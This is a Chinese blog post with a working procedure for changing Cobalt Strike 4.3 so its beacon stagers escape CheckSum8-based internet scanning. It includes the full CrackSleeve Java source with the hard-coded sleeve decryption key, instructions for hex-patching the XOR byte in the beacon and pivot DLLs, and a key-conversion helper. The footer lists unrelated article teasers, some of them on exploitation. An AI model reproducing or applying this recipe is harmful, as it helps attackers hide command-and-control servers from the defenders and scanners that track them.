CobaltStrike4.X之去除CheckSum8特征

VSole2021-11-17 14:09:10

NO.1 前言

之前介绍了CobaltStrike4.3的License认证分析,今天介绍一下CobaltStrike4.3去除CheckSum8特征的方法,CheckSum8的特征和具体算法不在此细说,但为了避免被扫描出来还是有必要进行修改的。

NO.2 代码修改

BeaconPayload中修改异或数值为新:

随便一个10进制数字即可,后面dll中改成对应的16进制数字。

NO.3 dll修改

使用CrackSleeve将dll进行解密:

https://github.com/ca3tie1/CrackSleeve/

1、将cobaltstrike.jar和CrackSleeve.java放一起

2、编译(javac -encoding UTF-8 -classpath cobaltstrike.jar CrackSleeve.java)

3、解密文件(java -classpath cobaltstrike.jar;./ CrackSleeve decode) # windows命令行执行

Alt+T进行关键字搜索:2Eh

先双击再空格。直接修改xor的值,先Change byte找到2E修改,再Apply pathes to input file保存。(别忘记保存)

需要修改的dll:beacon.dll、beacon.x64.dll、dnsb.dll、dnsb.x64.dll、pivot.dll、pivot.x64.dll、extc2.dll、extc2.x64.dll

再加密dll,工具给的命令在我这输入CustomizeString报错了,于是给CustomizeKey写到代码里了,改完如下可用:

import common.*;import dns.SleeveSecurity;import java.io.*;import java.util.Enumeration;import java.util.jar.JarEntry;import java.util.jar.JarFile;
public class CrackSleeve {    private static byte[] OriginKey = {58, 68, 37, 73, 15, 56, -102, -18, -61, 18, -67, -41, 88, -83, 43, -103};    private static byte[] CustomizeKey;    //private static byte[] CustomizeKey = {58, 68, 37, 73, 15, 56, -102, -18, -61, 18, -67, -41, 88, -83, 43, -103};
    private String DecDir = "Resource/Decode/sleeve";    private String EncDir = "Resource/Encode/sleeve";
    public static void main(String[] args) throws IOException {        if (args.length == 0 || args[0].equals("-h") || args[0].equals("--help")) {            System.out.println("UseAge: CrackSleeve OPTION [key]");            System.out.println("Options:");            System.out.println("\tdecode\t\tDecode sleeve files");            System.out.println("\tencode\t\tEncode sleeve files");            System.out.println("\tkey\t\tCustomize key string for encode sleeve files");            System.exit(0);        }        String option = args[0];        if (option.toLowerCase().equals("encode"))        {            CustomizeKey = new byte[]{58, 68, 37, 73, 15, 56, -102, -18, -61, 18, -67, -41, 88, -83, 43, -103};        }
        CrackSleeve Cracker = new CrackSleeve();        // 使用正版key初始化SleeveSecurity中的key        if (option.equals("decode")){            CrackSleevedResource.Setup(OriginKey);            Cracker.DecodeFile();        }else if (option.equals("encode")){            CrackSleevedResource.Setup(CustomizeKey);            Cracker.EncodeFile();        }    }
    private void DecodeFile() throws IOException {        // 文件保存目录        File saveDir = new File(this.DecDir);        if (!saveDir.isDirectory())            saveDir.mkdirs();
        // 获取jar文件中sleeve文件夹下的文件列表        try {            String path = this.getClass().getClassLoader().getResource("sleeve").getPath();            String jarPath = path.substring(5,path.indexOf("!/"));            Enumeration<JarEntry> jarEnum = new JarFile(new File(jarPath)).entries();            while (jarEnum.hasMoreElements())            {                JarEntry Element = jarEnum.nextElement();                String FileName = Element.getName();                if (FileName.indexOf("sleeve")>=0 && !FileName.equals("sleeve/")) {                    System.out.print("[+] Decoding "+FileName+"......");                    byte[] decBytes = CrackSleevedResource.DecodeResource(FileName);                    if (decBytes.length > 0) {                        System.out.println("Done.");                        CommonUtils.writeToFile(new File(saveDir,"../"+FileName),decBytes);                    }                    else                        System.out.println("Fail.");                }            }        } catch (IOException e) {            e.printStackTrace();        }
    }
    private void EncodeFile(){        // 文件保存目录        File saveDir = new File(this.EncDir);        if (!saveDir.isDirectory())            saveDir.mkdirs();
        // 获取解密文件列表        File decDir = new File(this.DecDir);        File[] decFiles = decDir.listFiles();        if (decFiles.length == 0) {            System.out.println("[-] There's no file to encode, please decode first.");            System.exit(0);        }
        for (File file : decFiles){            String filename = decDir.getPath()+"/"+file.getName();            System.out.print("[+] Encoding " + file.getName() + "......");            byte[] encBytes = CrackSleevedResource.EncodeResource(filename);            if (encBytes.length > 0) {                System.out.println("Done.");                CommonUtils.writeToFile(new File(saveDir,file.getName()),encBytes);            }            else                System.out.println("Fail.");        }    }}
class CrackSleevedResource{    private static CrackSleevedResource singleton;
    private SleeveSecurity data = new SleeveSecurity();
    public static void Setup(byte[] paramArrayOfbyte) {        // singleton = new CrackSleevedResource(paramArrayOfbyte);        singleton = new CrackSleevedResource(paramArrayOfbyte);    }
    public static byte[] DecodeResource(String paramString) {        return singleton._DecodeResource(paramString);    }
    public static byte[] EncodeResource(String paramString) {        return singleton._EncodeResource(paramString);    }
    private CrackSleevedResource(byte[] paramArrayOfbyte) {        this.data.registerKey(paramArrayOfbyte);    }
    private byte[] _DecodeResource(String paramString) {        byte[] arrayOfByte1 = CommonUtils.readResource(paramString);        if (arrayOfByte1.length > 0) {            long l = System.currentTimeMillis();            return this.data.decrypt(arrayOfByte1);        }        byte[] arrayOfByte2 = CommonUtils.readResource(paramString);        if (arrayOfByte2.length == 0) {            CommonUtils.print_error("Could not find sleeved resource: " + paramString + " [ERROR]");        } else {            CommonUtils.print_stat("Used internal resource: " + paramString);        }        return arrayOfByte2;    }
    private byte[] _EncodeResource(String paramString){        try {            File fileResource = new File(paramString);            InputStream fileStream = new FileInputStream(fileResource);            if (fileStream != null)            {                byte[] fileBytes = CommonUtils.readAll(fileStream);                if (fileBytes.length > 0)                {                    byte[] fileEncBytes = this.data.encrypt(fileBytes);                    return fileEncBytes;                }            }        } catch (FileNotFoundException e) {            e.printStackTrace();        }        return null;    }}

命令重新加密dll:(解密加密其他版本cs修改为对应的OriginKey、CustomizeKey即可)

java -classpath cobaltstrike.jar;./ CrackSleeve encode

key的值从16进制到byte型转换可用代码:

import java.util.Arrays;
public class authTest {    public byte[] intToByteArray(int num){        return new byte[] {                (byte) ((num >> 24) & 0xFF),                (byte) ((num >> 16) & 0xFF),                (byte) ((num >> 8) & 0xFF),                (byte) (num & 0xFF)        };    }    public static byte[] hex2bytes(String s) {        int len = s.length();        byte[] data = new byte[len / 2];        for (int i = 0; i < len; i += 2) {            data[i / 2] = (byte) ((Character.digit(s.charAt(i), 16) << 4) + Character.digit(s.charAt(i+1), 16));        }        return data;}
    public static void main(String[] args){        authTest authTest = new authTest();        int header = -889274157;        int num = 29999999;        int watermark = 1;
        byte[] bheader = authTest.intToByteArray(header);        byte[] bnum = authTest.intToByteArray(num);        byte[] bwatermark = authTest.intToByteArray(watermark);//        System.out.print(Arrays.toString(bheader)+'\n');//        System.out.print(Arrays.toString(bnum)+'\n');//        System.out.print(Arrays.toString(bwatermark)+'\n');        System.out.println(Arrays.toString(hex2bytes("3a4425490f389aeec312bdd758ad2b99")));
    }}

最后,把encode目录下的dll,放到idea项目目录中重新编译打包。

进行测试uri地址虽说仍旧可以请求到,但内容已经无法用nmap脚本解密出来,同理也可躲避扫描:

除了修改异或值的方式,也可以用Beacon Stager listener 去特征的方式改掉checksum8算法,但是只能固定url访问了,需要配合profile才能使用。

string
本作品采用《CC 协议》,转载必须注明作者和本文链接
如果你不是 Java8 的钉子户,你应该早就发现了:String 类的源码已经由 char[] 优化为了 byte[] 来存储字符串内容,为什么要这样做呢? 开门见山地说,从 char[] 到 byte[],最主要的目的是为了节省字符串占用的内存 。内存占用减少带来的另外一个好处,就是 GC 次数也会减少。
Adobe已经发布了一个名为Stringlifier的开源工具,该工具允许用户识别任何纯文本中随机生成的字符串,该工具可用于清理日志。Stringlifier工具是用Python编写的,它使用机器学习来识别插入普通文本中的随机字符序列。开源工具可用于出于多种目的分析日志,例如研究意外暴露的凭证。Stringlifier能够在源代码或配置文件中查找API密钥,哈希,随机生成的字符串,包括密码,日志。Adobe在Github上发布的描述中写道。
介绍Runtime 是一系列采用 C++ 语言编写的功能方法,它实现了大量 JavaScript 运行期间需要的 native 功能。本文分析 Runtime_StringToArray 方法的源码和重要数据结构,讲解 Runtime_StringToArray 方法的触发条件。
介绍Runtime 是一系列采用 C++ 语言编写的功能方法,它实现了大量 JavaScript 运行期间需要的 native 功能。
通过common-collection相关gadget,想办法调用org.mozilla.classfile.DefiningClassLoader这个类去加载字节码。然后通过T3协议的反序列化漏洞发送给待攻击weblogic服务器。
举个例子:但是对于64位的来说 ROPgadget预设的长度是不够的。所以,我们可以使用ROPgadget --binary ./b --depth 100来加深他的搜索深度。2利用_libc_csu_init制造ROP常规方法我们前面说的利用ROPgadget来寻找,大多都是找到直接设置某个寄存器的rop,当然也可以使用--ropchain这个参数。
一般情况下类与类之间是相互独立的,内部类的意思就是打破这种独立思想,让一个类成为另一个类的内部信息,和成员变量、成员方法同等级别。「内部类的好处:」把一个类写在外面和写在里面最终达到的结果都一样,那我们为什么还要使用内部类,岂不是多此一举吗?
当被问及网络间谍是否成功时,爱德华·斯金格表示,他非常有信心地确信,除了国防学院本身,没有任何其他危害行为。斯金格接受采访时透露,本次攻击看起来不像是一次暴力攻击,但有代价。国防学院立即意识到它可能已成为敌对国家在灰色地带式网络攻击中的目标的可能性。官方迅速采取了行动,对更广泛的国防部IT网络没有影响。
java安全-02RMI
2022-03-25 15:35:13
基础知识动态代理反射攻击方式注册端攻击服务端java -cp .\ysoserial-master-8eb5
MISC中常用python脚本
2021-09-20 20:26:46
MISC中常用python脚本总结
VSole
网络安全专家